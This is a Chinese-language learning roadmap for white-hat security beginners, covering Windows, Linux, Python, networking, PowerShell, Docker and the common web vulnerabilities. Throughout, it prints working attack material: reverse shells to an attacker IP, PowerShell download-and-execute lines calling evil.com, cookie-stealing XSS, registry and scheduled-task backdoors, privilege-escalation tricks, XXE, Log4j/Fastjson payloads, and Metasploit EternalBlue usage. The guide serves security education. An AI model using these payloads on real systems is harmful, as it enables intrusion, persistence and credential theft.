网络安全(白帽黑客)系统化学习路线

零基础 → 合格白帽安全工程师的完整成长路径。8 大阶段、60+ 核心知识模块、200+ 实操检查点。按顺序学,不走弯路。所有练习仅限本地靶场与授权环境。

11
学习板块
50+
知识模块
75
实操检查点
12
月完整周期
1
计算机通用基础
重中之重,别跳过 · 预计 1-2 个月
Windows 系统核心

注册表 (Registry)

Windows 的"大脑",所有系统配置、软件设置、用户信息都存在这里。安全人员必须熟练读写注册表。

  • 五大根键:HKEY_CLASSES_ROOT(文件关联)、HKEY_CURRENT_USER(当前用户)、HKEY_LOCAL_MACHINE(本机硬件/软件)、HKEY_USERS(所有用户)、HKEY_CURRENT_CONFIG(当前硬件配置)
  • 安全相关:自启动项(HKLM\...\Run)、服务配置、文件关联劫持、策略设置
  • 打开方式:regedit(图形界面)、reg(命令行)
# 命令行操作注册表
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"  # 查看自启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\evil.exe" /f  # 添加自启动
reg export "HKLM\SYSTEM\CurrentControlSet" backup.reg  # 导出注册表

组策略 (GPO)

企业域环境中集中管理安全策略的核心机制。蓝队用 GPO 加固,红队利用 GPO 下发恶意脚本实现横向移动。

  • 打开方式:gpedit.msc(本地组策略)、gpmc.msc(域组策略管理)
  • 安全配置项:密码策略、账户锁定策略、用户权限分配、安全选项、防火墙规则、审核策略
  • 命令行刷新:gpupdate /force

服务、进程与权限

概念说明常用命令
服务 Service后台运行的系统程序,很多提权漏洞来自服务配置错误sc query, net start/stop
进程 Process运行中的程序,安全分析的核心对象tasklist, wmic process
权限SID 标识用户身份,ACL 控制访问权限whoami /all, icacls
UAC用户账户控制,限制管理员权限的滥用需绕过才能提权
# 进程与服务排查命令
tasklist /svc                    # 查看进程及关联服务
wmic process where name="svchost.exe" get ProcessId,ExecutablePath  # 查看进程路径
sc qc "服务名"                   # 查看服务详细配置(找提权点)
whoami /priv                     # 查看当前权限令牌
net user                        # 查看所有用户
net localgroup administrators   # 查看管理员组成员

事件日志

应急响应和溯源的核心数据源。Windows 日志分为系统日志、安全日志、应用程序日志。

  • 查看:事件查看器 eventvwr.msc
  • 关键安全事件 ID:4624(登录成功)、4625(登录失败)、4720(用户创建)、4732(成员加入组)、4688(进程创建)、7045(服务安装)
# 查最近的安全登录失败事件
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} -MaxEvents 20
# 查新创建的用户账户
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4720} | Select-Object TimeCreated,Message

WMI 与计划任务

# WMI 查询
wmic process list brief          # 列出所有进程
wmic startup get Caption,Command  # 查看自启动项
wmic qfe list brief               # 查看已安装补丁(提权前必查)

# 计划任务(持久化常用)
schtasks /create /tn "UpdateTask" /tr "powershell -ep bypass -f C:\payload.ps1" /sc minute /mo 1 /ru SYSTEM
schtasks /query /fo LIST /v        # 查看所有计划任务

用户 SID

SID(安全标识符)是 Windows 中标识用户/组的唯一 ID。理解 SID 对权限分析和域渗透至关重要。

  • S-1-5-18:SYSTEM 账户(最高权限)
  • S-1-5-域-500:Administrator
  • S-1-5-域-501:Guest
  • 查看:whoami /userwmic useraccount get name,SID
Linux 系统(核心中的核心)
为什么 Linux 最重要?
绝大多数服务器、安全工具、渗透框架都跑在 Linux 上。Kali Linux 是渗透测试标配。掌握 Linux 命令行是白帽的基本功。

推荐发行版

Kali Linux
渗透测试专用,预装 600+ 安全工具,白帽首选
Ubuntu
最流行的桌面/服务器发行版,适合日常学习和开发
CentOS / Rocky Linux
企业服务器主流,运维和应急响应必学

文件权限管理

# 查看权限
ls -la /etc/passwd
# -rw-r--r-- 1 root root ... 表示 root 可读写,其他人只读

# 修改权限
chmod 755 script.sh      # rwxr-xr-x
chmod u+x script.sh     # 给属主加执行权限
chmod 4755 /usr/bin/find # SUID 提权关键!

# 修改属主
chown root:root file.txt

# 查找 SUID 文件(提权必用)
find / -perm -4000 -type f 2>/dev/null
SUID 提权原理
当一个可执行文件设置了 SUID(4xxx),普通用户执行它时会以文件属主(通常是 root)身份运行。攻击者找到有 SUID 的程序(如 find、python、nmap),利用其能执行命令的特性来提权。

进程管理

ps aux                         # 查看所有进程
top                             # 实时进程监控
htop                            # top 增强版
kill -9                     # 强制杀死进程
pstree -p                      # 树状显示进程关系
lsof -i :80                    # 查看占用 80 端口的进程

网络工具

工具用途示例
netstat查看网络连接/端口(旧版)netstat -tunlp
ss查看网络连接(新版,更快)ss -tunlp
lsof查看打开的文件/端口lsof -i :22
tcpdump命令行抓包tcpdump -i eth0 port 80
nc / ncat网络瑞士军刀nc -lvnp 4444(监听反弹shell)

系统日志

日志文件内容
/var/log/auth.log认证日志(SSH 登录、sudo)Debian/Ubuntu
/var/log/secure认证日志 CentOS/RHEL
/var/log/syslog系统通用日志
/var/log/apache2/Apache Web 日志
~/.bash_history用户命令历史(溯源利器)

sudo 与 crontab

# sudo 权限查看(提权必查)
sudo -l
# 如果输出 (ALL) NOPASSWD: /usr/bin/python → 可提权:
sudo python -c 'import os; os.system("/bin/bash")'

# crontab 定时任务
crontab -e    # 编辑定时任务
crontab -l    # 列出定时任务
# 格式:分 时 日 月 周 命令
# */5 * * * * /tmp/backdoor.sh  → 每 5 分钟执行

包管理器与 SSH

# Debian/Ubuntu (apt)
apt update && apt install nmap

# CentOS/RHEL (yum/dnf)
yum install nmap

# SSH 远程连接
ssh user@192.168.1.100
ssh -i id_rsa user@target  # 密钥登录
ssh-keygen -t rsa -b 4096  # 生成密钥对

防火墙

# iptables
iptables -L -n -v           # 查看规则
iptables -A INPUT -p tcp --dport 22 -j DROP  # 封禁 SSH

# firewalld(CentOS 7+)
firewall-cmd --list-all
firewall-cmd --add-port=80/tcp --permanent
firewall-cmd --reload

Docker 容器基础

docker pull vulnerables/web-dvwa     # 拉取靶场镜像
docker run -d -p 80:80 vulnerables/web-dvwa  # 启动容器
docker ps                             # 查看运行中的容器
docker exec -it <容器ID> /bin/bash     # 进入容器
docker-compose up -d                # 启动多容器环境(Vulhub 常用)
Python 编程(安全万能语言)

Python 是安全领域的万能语言:爬虫、POC/EXP 编写、批量扫描、日志分析、工具二次开发、自动化渗透脚本都离不开它。

requests — HTTP 请求
import requests
resp = requests.get("http://target.com")
print(resp.status_code, resp.text[:200])

# 带 Cookie 的请求
cookies = {"session": "abc123"}
resp = requests.get("http://target.com/admin", cookies=cookies)

# POST 请求(SQL注入测试)
data = {"username": "admin", "password": "' OR 1=1--"}
resp = requests.post("http://target.com/login", data=data)

# 代理设置(配合 Burp 调试)
proxies = {"http": "http://127.0.0.1:8080"}
resp = requests.get("http://target.com", proxies=proxies, verify=False)
socket — 端口扫描与反弹 Shell
import socket
def port_scan(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    try:
        s.connect((host, port))
        print(f"[+] {host}:{port} OPEN")
        s.close()
    except: pass

# 反弹 Shell
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("攻击者IP", 4444))
while True:
    cmd = s.recv(1024).decode()
    if cmd == "exit": break
    result = subprocess.run(cmd, shell=True, capture_output=True)
    s.send(result.stdout + result.stderr)
re — 正则表达式(日志分析/数据提取)
import re
log = "192.168.1.1 - - [10/Aug/2026:21:39:11] GET /admin"
ips = re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', log)
print(ips)  # ['192.168.1.1']

# SQL 注入检测
pattern = re.compile(r"(union|select|insert|drop|'|--|;)", re.IGNORECASE)
多线程 — 批量扫描加速
import threading, queue
targets = queue.Queue()
for port in range(1, 65536): targets.put(port)

def worker(host):
    while not targets.empty():
        port = targets.get()
        port_scan(host, port)
        targets.task_done()

for _ in range(100):
    t = threading.Thread(target=worker, args=("192.168.1.1",))
    t.daemon = True; t.start()
targets.join()

实战项目:批量目录扫描器

import requests
from concurrent.futures import ThreadPoolExecutor

wordlist = ["admin","login","backup",".git","config","phpinfo.php"]
target = "http://target.com"

def scan(path):
    url = f"{target}/{path}"
    try:
        resp = requests.get(url, timeout=3, allow_redirects=False)
        if resp.status_code == 200:
            print(f"[+] Found: {url} ({resp.status_code})")
    except: pass

with ThreadPoolExecutor(max_workers=20) as executor:
    executor.map(scan, wordlist)
SQL 数据库基础

SQL 注入是 Web 安全最经典的漏洞,理解 SQL 语言是理解注入原理的前提。

-- 基础增删改查
SELECT * FROM users WHERE username = 'admin';
INSERT INTO users (username, password) VALUES ('admin', '123456');
UPDATE users SET password = 'newpass' WHERE id = 1;
DELETE FROM users WHERE id = 1;

-- UNION 联合查询注入(最经典)
SELECT username, password FROM users WHERE id = 1
UNION SELECT table_name, 2 FROM information_schema.tables;
-- 注入 payload: ?id=1 UNION SELECT table_name,2 FROM information_schema.tables--

-- 报错注入
SELECT * FROM users WHERE id=1 AND updatexml(1,concat(0x7e,(SELECT version() FROM information_schema.tables),0x7e),1);

-- 布尔盲注
SELECT * FROM users WHERE id=1 AND ascii(substr((SELECT password FROM users LIMIT 1),1,1))>50;

-- 时间盲注
SELECT * FROM users WHERE id=1 AND IF(ascii(substr(database(),1,1))>50, sleep(3), 0);

关键系统库

数据库系统库名关键表
MySQLinformation_schematables, columns, schemata
MSSQLmastersysobjects, syscolumns
OracleSYSALL_TABLES, ALL_TAB_COLUMNS
计算机网络(安全的骨架)

OSI 七层 vs TCP/IP 四层模型

OSI 七层TCP/IP 四层典型协议安全相关
应用层应用层HTTP,HTTPS,DNS,FTP,SMTPWeb漏洞、DNS劫持
表示层SSL/TLS加密/解密、中间人攻击
会话层RPC,NetBIOS会话劫持
传输层传输层TCP,UDP端口扫描、SYN Flood
网络层网络层IP,ICMP,ARPARP欺骗、IP伪造
数据链路层网络接口层Ethernet,VLANMAC欺骗、VLAN跳跃
物理层网线、光纤物理接入安全

TCP 三次握手与四次挥手

三次握手(建立连接)
客户端 → SYN → 服务器         (SYN scan 只发这一步)
客户端 ← SYN+ACK ← 服务器
客户端 → ACK → 服务器         (连接建立)

四次挥手(断开连接)
客户端 → FIN → 服务器
客户端 ← ACK ← 服务器
客户端 ← FIN ← 服务器
客户端 → ACK → 服务器

HTTP/HTTPS 协议

HTTP 请求结构
GET /login.php?id=1 HTTP/1.1       -- 请求行
Host: target.com                    -- 主机头
User-Agent: Mozilla/5.0             -- 客户端标识
Cookie: session=abc123              -- 会话标识(XSS/CSRF核心)

常见状态码
200 OK | 301/302 重定向 | 400 Bad Request | 401 未授权 | 403 禁止访问
404 Not Found | 500 服务器内部错误 | 502/503/504 网关错误

其他关键协议

协议端口作用安全关联
DNS53域名解析DNS劫持、DNS隧道、子域名爆破
DHCP67/68自动分配IPDHCP欺骗
ARPIP→MAC解析ARP欺骗(中间人攻击)
ICMP网络探测Ping扫描、ICMP隧道
SSH22加密远程登录爆破、密钥窃取
SMB445Windows文件共享永恒之蓝、IPC$空连接
RDP3389Windows远程桌面BlueKeep、凭证抓取

抓包工具

Wireshark
图形化抓包分析神器,支持2000+协议解析
tcpdump
Linux命令行抓包工具,服务器应急排查
Burp Suite
Web渗透代理抓包核心工具
# tcpdump 常用命令
tcpdump -i eth0                      # 抓取所有流量
tcpdump -i eth0 port 80              # 只抓 80 端口
tcpdump -i eth0 host 192.168.1.100   # 只抓特定IP
tcpdump -w capture.pcap              # 保存为pcap文件
PowerShell 常用命令速查

PowerShell 是 Windows 安全人员必须掌握的脚本语言,后渗透、信息收集、提权、免杀都离不开它。

基础命令

# 执行策略绕过(渗透必会)
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"
powershell -nop -w hidden -c "..."  # 无窗口隐藏执行

# 文件操作
Get-Content file.txt              # 读文件
Set-Content file.txt "data"     # 写文件
Copy-Item src dst -Force           # 复制
Remove-Item -Path C:\temp -Recurse  # 删除目录

# 网络请求
Invoke-WebRequest -Uri http://target.com -OutFile page.html
iwr http://evil.com/payload.exe -OutFile C:\Windows\Temp\sv.exe
Invoke-RestMethod -Uri http://api.com -Method POST -Body $json

信息收集与提权常用

# 系统信息
Get-ComputerInfo                    # 完整系统信息
Get-WmiObject -Class Win32_OperatingSystem
Get-HotFix | Select-Object HotFixID,InstalledOn  # 补丁列表(提权必查)

# 用户与权限
Get-LocalUser | Select-Object Name,Enabled,LastLogon
Get-LocalGroupMember -Group Administrators
Get-WmiObject -Class Win32_UserAccount

# 进程与服务
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Get-Service | Where-Object {$_.Status -eq 'Running'}
Get-WmiObject Win32_Service | Where {$_.StartName -like "*LocalSystem*"}

# 网络连接
Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'}
Get-NetIPAddress -AddressFamily IPv4
Test-NetConnection -ComputerName 10.0.0.5 -Port 445

# 注册表操作
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path "HKLM:\...\Run" -Name backdoor -Value "powershell.exe"

# 计划任务
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select-Object TaskName,TaskPath

PowerShell 远程下载执行(渗透常用)

# 下载并执行(无文件攻击)
IEX(New-Object Net.WebClient).DownloadString('http://evil.com/PowerView.ps1')

# Base64 编码执行(绕过检测)
$cmd = "Write-Host 'Hello'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -encodedCommand $encoded

# PowerSploit 框架常用模块
# Get-NetUser          -- 域用户列表
# Get-NetGroup         -- 域组列表
# Get-NetComputer      -- 域内机器
# Invoke-Portscan      -- 内网端口扫描
# Invoke-Mimikatz      -- 调用 Mimikatz
Linux 高级技巧

管道符与重定向

# 管道符:前命令输出作为后命令输入
cat /etc/passwd | grep bash | wc -l    # 统计可登录用户数
ps aux | sort -rnk 4 | head -5      # 内存占用 Top 5 进程

# 重定向
echo "data" > file.txt    # 覆盖写入
echo "more" >> file.txt   # 追加写入
command 2>&1               # 标准错误重定向到标准输出
command > /dev/null 2>&1  # 丢弃所有输出
command < /etc/passwd        # 从文件读入

文本处理三剑客 (grep/sed/awk)

# grep — 文本搜索
grep -r "password" /var/www/         # 递归搜索目录
grep -i "root" /etc/passwd              # 忽略大小写
grep -v "#" /etc/ssh/sshd_config        # 排除注释行
grep -E "[0-9]{1,3}\.){3}[0-9]{1,3}" log.txt  # 正则匹配IP

# sed — 流编辑器
sed 's/old/new/g' file.txt           # 全局替换
sed -i 's/^PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -n '1,10p' /etc/passwd             # 打印1-10行
sed '/bash$/d' /etc/passwd             # 删除含bash结尾的行

# awk — 文本分析
awk -F: '{print $1, $3}' /etc/passwd  # 以:分割打印第1,3列
awk '{sum+=$1}END{print sum}' file     # 求和
netstat -tunlp | awk 'NR>2{print $4,$7}'  # 提取监听地址和PID
cat access.log | awk '{print $1}' | sort | uniq -c | # 统计IP访问次数
  sort -rn | head -10

环境变量与别名

# 环境变量
echo $PATH                     # 查看可执行文件路径
export PATH=$PATH:/opt/tools   # 添加路径
env                           # 查看所有环境变量
echo $HOME $USER $SHELL

# 提权技巧:PATH 劫持
# 如果 sudo 运行的程序调用了不带路径的命令,可以修改 PATH
export PATH=/tmp:$PATH
echo '/bin/bash' > /tmp/service
chmod +x /tmp/service
sudo /usr/bin/service            # 触发提权

系统信息收集命令(渗透信息收集必用)

# 系统版本与内核
uname -a                       # 内核版本(提权关键)
cat /etc/os-release             # 发行版信息
cat /etc/issue
arch                           # CPU 架构

# 用户信息
id                             # 当前用户身份
cat /etc/passwd                 # 所有用户
cat /etc/shadow                 # 密码哈希(需root)
cat /etc/group                  # 用户组
sudo -l                        # sudo 权限(提权关键)

# 网络信息
ifconfig / ip addr              # 网卡信息
route -n / ip route            # 路由表
cat /etc/resolv.conf            # DNS 配置
cat /etc/hosts                  # 主机名解析
arp -a                         # ARP 表

# 已安装软件
dpkg -l | grep -i ssh          # Debian/Ubuntu
rpm -qa | grep -i ssh            # CentOS/RHEL

Linux 提权常见路径

方式检查命令利用方法
SUID 提权find / -perm -4000 -type f 2>/dev/null找 find/python/nmap/perl 等带 SUID 的程序
sudo 提权sudo -lNOPASSWD 的命令可提权,参考 GTFOBins
内核漏洞uname -a → 搜索 exploitDirtyCow、DirtyPipe 等
定时任务cat /etc/crontab以 root 运行的脚本可写入恶意代码
PATH 劫持检查脚本中无路径的命令修改 PATH 指向恶意脚本
capabilitygetcap -r / 2>/dev/nullcap_setuid 等可提权
NFS 提权cat /etc/exportsno_root_squall 挂载可写
GTFOBins — 提权利器
网站 https://gtfobins.github.io 收录了所有 Linux 命令的提权方法。当发现 sudo 权限或 SUID 的命令时,去这个网站搜索对应命令即可找到提权 payload。
Docker 安全与靶场部署

Docker 是安全学习的基石——靶场部署、漏洞复现、工具运行全靠它。掌握 Docker 命令是必备技能。

Docker 常用命令

# 镜像管理
docker images                        # 列出本地镜像
docker pull vulnerables/web-dvwa      # 拉取镜像
docker rmi                  # 删除镜像
docker search dvwa                    # 搜索 Docker Hub

# 容器生命周期
docker run -d -p 80:80 -p 3306:3306 --name dvwa vulnerables/web-dvwa
# -d 后台运行 -p 端口映射 --name 容器名
docker ps                              # 运行中的容器
docker ps -a                           # 所有容器(含已停止)
docker start/stop/restart <容器名>      # 容器管理
docker rm -f <容器名>                   # 强制删除容器

# 进入容器与操作
docker exec -it <容器名> /bin/bash     # 进入容器终端
docker cp file.txt <容器名>:/tmp/      # 复制文件到容器
docker logs <容器名>                    # 查看容器日志
docker inspect <容器名>                # 查看容器详细信息

# Docker Compose(多容器编排)
docker-compose up -d              # 启动编排环境
docker-compose down               # 停止并删除
docker-compose ps                # 查看编排状态

安全靶场快速部署

# DVWA(新手必练)
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

# SQLi-Labs(75关SQL注入专项)
docker run -d -p 80:80 acgpiano/sqli-labs

# Pikachu 靶场(中文OWASP Top10)
docker run -d -p 80:80 area39/pikachu

# Vulhub(海量CVE漏洞环境)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

# MySQL + 靶场联合部署
docker network create sec-lab
docker run -d --network sec-lab --name db -e MYSQL_ROOT_PASSWORD=pass mysql:5.7
docker run -d --network sec-lab -p 80:80 --name dvwa vulnerables/web-dvwa

Docker 安全要点

风险说明防御
容器逃逸--privileged 特权模式可逃逸到宿主机避免使用 --privileged
镜像投毒拉取恶意镜像包含后门只使用可信来源镜像
DoS 攻击容器无资源限制导致宿主机资源耗尽设置 --memory --cpus 限制
敏感挂载挂载宿主机 /etc /root 等到容器最小挂载原则
Docker API 未授权2375/2376 端口暴露 Docker Daemon关闭远程 API 或加 TLS
Python 安全库补充

subprocess — 执行系统命令

import subprocess

# 执行命令并获取输出
result = subprocess.run(["nmap", "-sV", "192.168.1.1"], capture_output=True, text=True)
print(result.stdout)

# Shell 模式(方便拼接)
result = subprocess.run("nmap -sV 192.168.1.1 -oX -", shell=True, capture_output=True)

# Popen 实时输出
p = subprocess.Popen(["ping", "-c", "4", "8.8.8.8"], stdout=subprocess.PIPE)
for line in p.stdout:
    print(line.decode().strip())

os — 文件与系统操作

import os

# 文件操作
os.listdir("/var/www")              # 列目录
os.path.exists("/etc/passwd")       # 文件是否存在
os.path.join("/tmp", "shell.php")  # 拼接路径
os.makedirs("/tmp/exfil", exist_ok=True)

# 环境变量
os.environ.get("HOME")
os.environ["PATH"] += ":/opt/tools"

# 执行命令(不安全,了解即可)
os.system("whoami")                  # 返回退出码
os.popen("id").read()               # 返回输出

Scapy — 网络数据包操控

from scapy.all import *

# SYN 端口扫描
ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=[22,80,443], flags="S"), timeout=2)
for s, r in ans:
    if r[TCP].flags == "SA":
        print(f"[+] {s[IP].dst}:{s[TCP].dport} OPEN")

# ARP 欺骗(中间人攻击)
# arpspoof(target_ip, gateway_ip)
send(ARP(op=2, pdst="192.168.1.100", psrc="192.168.1.1", hwsrc="aa:bb:cc:dd:ee:ff"))

# 抓包分析
packets = sniff(filter="tcp port 80", count=10)
packets.summary()

# 构造 ICMP Ping
sr1(IP(dst="8.8.8.8")/ICMP())

argparse — 工具命令行参数(写扫描器必用)

import argparse

parser = argparse.ArgumentParser(description="端口扫描器 v1.0")
parser.add_argument("-t", "--target", required=True, help="目标IP")
parser.add_argument("-p", "--ports", default="1-1000", help="端口范围")
parser.add_argument("-T", "--threads", type=int, default=100, help="线程数")
parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
args = parser.parse_args()

print(f"扫描 {args.target} 端口 {args.args}")

其他安全常用库速查

用途关键函数
hashlib哈希计算md5(), sha256()
base64Base64 编解码b64encode(), b64decode()
pickle序列化(反序列化漏洞)pickle.loads()
struct二进制打包pack(), unpack()
ctypes调用 C 库CDLL(), ctypes.cast()
paramikoSSH 操作SSHClient().connect()
pymysqlMySQL 操作connect(), cursor()
nmap调用 NmapPortScanner().scan()
ftplibFTP 操作FTP().login()
第一阶段实操检查点
2
Web 安全渗透
入门最快,就业需求量最大 · 预计 3-5 个月
前端 & 后端基础

前端三剑客

技术作用安全关联
HTML页面结构XSS payload 注入点、隐藏表单字段篡改
CSS页面样式CSS 注入、点击劫持防护
JavaScript前端交互DOM XSS、JS 逆向、AJAX 请求篡改

PHP 基础语法(源码审计必看)

<?php
// PHP 是 Web 安全最重要的后端语言
$name = $_GET['name'];        // 从 URL 参数获取
$id = $_POST['id'];            // 从 POST body 获取

// SQL 注入漏洞代码(反面教材)
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];  // 直接拼接!危险!

// XSS 漏洞代码
echo "<h1>" . $_GET['name'] . "</h1>";  // 直接输出!危险!

// 文件包含漏洞
include($_GET['page'] . '.php');  // 直接包含!危险!

// 命令执行漏洞
system("ping " . $_GET['ip']);  // 直接执行!危险!
?>

服务器架构 LAMP/LNMP

  • LAMP:Linux + Apache + MySQL + PHP(经典架构)
  • LNMP:Linux + Nginx + MySQL + PHP(高性能架构)
  • 请求流程:浏览器 → Nginx/Apache → PHP-FPM → MySQL → 返回结果
十大 Web 高危漏洞(核心内容)

① SQL 注入

高危 攻击者通过在输入中插入 SQL 语句,欺骗服务器执行非预期数据库操作。

类型原理典型 Payload
联合注入UNION 合并查询结果?id=1 UNION SELECT 1,2,3--
报错注入利用数据库报错回显数据updatexml(1,concat(0x7e,user()),1)
布尔盲注页面 True/False 状态判断AND ascii(substr(database(),1,1))>50
时间盲注通过 sleep 延迟判断AND IF(1=1,sleep(3),0)
堆叠注入分号分隔执行多条 SQL?id=1;DROP TABLE users--
宽字节注入利用 GBK 编码绕过转义?id=1%df' UNION SELECT 1,2--
# sqlmap 自动化注入(必会工具)
sqlmap -u "http://target.com/page?id=1" --batch           # 检测注入
sqlmap -u "http://target.com/page?id=1" --dbs               # 列出所有数据库
sqlmap -u "http://target.com/page?id=1" -D mydb --tables   # 列出表
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump  # 导出数据
sqlmap -u "http://target.com/page?id=1" --os-shell          # 获取系统 Shell
sqlmap -r request.txt --batch                              # 从 Burp 请求文件注入

② XSS 跨站脚本

高危 攻击者注入恶意 JavaScript 到网页中,在其他用户浏览器中执行。

类型原理典型 Payload
反射型恶意代码在 URL 中,服务器反射回页面?q=<script>alert(1)</script>
存储型恶意代码存入数据库,每次访问都触发留言板输入 <script>steal()</script>
DOM 型纯前端 JS 操作 DOM 引入document.innerHTML = location.hash
<!-- XSS 常用 Payload -->
<script>alert(document.cookie)</script>           -- 弹出Cookie
<img src=x onerror=alert(1)>                     -- img标签绕过
<svg onload=alert(1)>                             -- SVG标签绕过
<script>new Image().src='http://evil/?c='+document.cookie</script>  -- 窃取Cookie

③ CSRF 跨站请求伪造

中高危 诱骗已登录用户在不知情的情况下执行非预期请求。

<!-- CSRF 攻击示例 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000" style="display:none">
<!-- 用户已登录 bank.com,浏览器自动带上 Cookie,转账请求被执行 -->

防御:CSRF Token、SameSite Cookie 属性、Referer 校验、二次确认

④ 文件上传漏洞

高危 上传可执行文件到服务器并执行,直接 getshell。

绕过方式说明
前端绕过禁用 JS,直接用 Burp 改包
MIME 绕过Content-Type: image/jpeg
后缀绕过.php5, .phtml, .php.jpg, 大小写 .PhP
.htaccess 绕过上传 .htaccess 让 .jpg 当 PHP 执行
解析漏洞Nginx /test.jpg/.php、Apache 多后缀
条件竞争上传后在被删除前并发访问执行
图片马copy normal.jpg/b + shell.php/a webshell.jpg

⑤ 文件包含漏洞

高危 服务器将用户输入作为文件路径进行包含执行。

# LFI 本地文件包含
?page=../../../../etc/passwd          -- 读系统文件
?page=php://filter/convert.base64-encode/resource=index.php  -- 读源码
?page=php://input                     -- 伪协议执行代码

# RFI 远程文件包含
?page=http://evil.com/shell.txt       -- 包含远程恶意文件

# 日志包含 getshell
# 1. 在 User-Agent 中注入 <?php system($_GET['cmd'])?>
# 2. 包含日志: ?page=/var/log/apache2/access.log&cmd=id

⑥ 命令执行漏洞 (RCE)

极危 用户输入被拼接到系统命令中执行,直接控制服务器。

# 命令拼接符号
;id                  -- 分号:顺序执行
|id                  -- 管道:前命令输出作为后命令输入
||id                 -- 逻辑或:前命令失败才执行
&&id                 -- 逻辑与:前命令成功才执行
`id`                 -- 反引号:命令替换
$(id)                -- $():命令替换

# 实际 payload 示例
?ip=127.0.0.1;cat /etc/passwd
?ip=127.0.0.1|whoami
?cmd=;nc -e /bin/bash 攻击者IP 4444    -- 反弹 Shell

⑦ SSRF 服务器请求伪造

高危 利用服务器发起请求,访问内网资源或云服务元数据。

# SSRF 利用场景
?url=http://127.0.0.1:80               -- 探测内网端口
?url=http://192.168.1.0/24             -- 内网扫描
?url=file:///etc/passwd                -- 读本地文件
?url=http://169.254.169.254/latest/meta-data/  -- 云服务元数据(AWS密钥泄露!)
?url=gopher://127.0.0.1:6379/_*1%0d%0a...  -- 攻击内网 Redis

⑧ XXE XML 外部实体注入

高危 利用 XML 解析器处理外部实体的特性,读取文件/发起请求。

<!-- XXE Payload:读取 /etc/passwd -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- 无回显 XXE (Blind XXE):带外数据提取 -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
  %dtd;
]>

⑨ 逻辑漏洞

中高危 业务逻辑设计缺陷,扫描器难以发现。

类型利用方式
越权访问修改 URL 中的 user_id 查看他人数据(水平/垂直越权)
密码重置绕过篡改重置请求中的手机号/邮箱/验证码
支付篡改修改金额 amount=0.01、数量为负数
验证码爆破4 位验证码仅 1 万种,无频率限制可爆破
并发条件竞争并发请求重复领券/提现/签到
任意密码修改修改请求参数中的用户名和旧密码

⑩ 反序列化漏洞

高危 将用户可控的序列化数据反序列化时触发恶意代码执行。

# PHP 反序列化
// 漏洞代码
$data = unserialize($_GET['data']);
// 利用:构造恶意序列化对象,触发 __wakeup() / __destruct()
O:4:"User":1:{s:4:"cmd";s:10:"system('id')";}

# Java 反序列化(极高危)
// 漏洞组件:Apache Commons Collections, Fastjson, Log4j, Shiro
// 工具:ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 'whoami' > payload.bin

# 经典漏洞
# Log4j2 (CVE-2021-44228): ${jndi:ldap://evil.com/exp}
# Fastjson: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil","autoCommit":true}
# Shiro: rememberMe Cookie 反序列化(默认密钥 AES)
必备渗透工具栈

抓包改包工具

Burp Suite
Web 渗透第一工具。代理抓包、Repeater 重放、Intruder 爆破、Scanner 扫描。必须熟练
# Burp Suite 核心模块
Proxy      -- 代理拦截/修改 HTTP 请求响应
Repeater   -- 手动重发请求,调试漏洞(最常用)
Intruder   -- 自动化爆破/ fuzzing
Decoder    -- 编码解码(Base64/URL/Hex)
Comparer   -- 对比两个响应差异
Sequencer  -- 分析随机性(Token质量)
Scanner    -- 自动漏洞扫描(Pro版)

扫描器

工具类型说明
Nmap端口扫描网络发现和安全审计基石
AWVSWeb 漏洞扫描商业 Web 漏洞扫描器
Xray被动扫描长亭出品,配合 Burp 被动扫描
Nessus主机漏洞扫描系统/服务漏洞扫描,企业标配
Goby资产扫描国产,Web 资产测绘+漏洞检测
Masscan超快端口扫描号称 6 分钟扫描全网
# Nmap 常用参数(必背)
nmap -sS 192.168.1.0/24           # SYN 半开扫描(隐蔽)
nmap -sV -sC 192.168.1.100        # 服务版本+默认脚本扫描
nmap -O 192.168.1.100             # 操作系统识别
nmap -A 192.168.1.100             # 全面扫描
nmap -p- 192.168.1.100            # 扫描所有 65535 个端口
nmap --script vuln 192.168.1.100  # 漏洞脚本扫描
nmap -sn 192.168.1.0/24           # 只做主机发现

漏洞利用框架 Metasploit

# Metasploit 基本流程
msfconsole
msf6 > search eternalblue           # 搜索永恒之蓝 exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100       # 设置目标 IP
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50         # 设置本地 IP
msf6 > exploit                       # 执行攻击

# Meterpreter 常用命令
meterpreter > sysinfo              # 系统信息
meterpreter > getuid               # 当前权限
meterpreter > hashdump             # 导出密码哈希
meterpreter > screenshot           # 截屏
meterpreter > keyscan_start        # 键盘记录
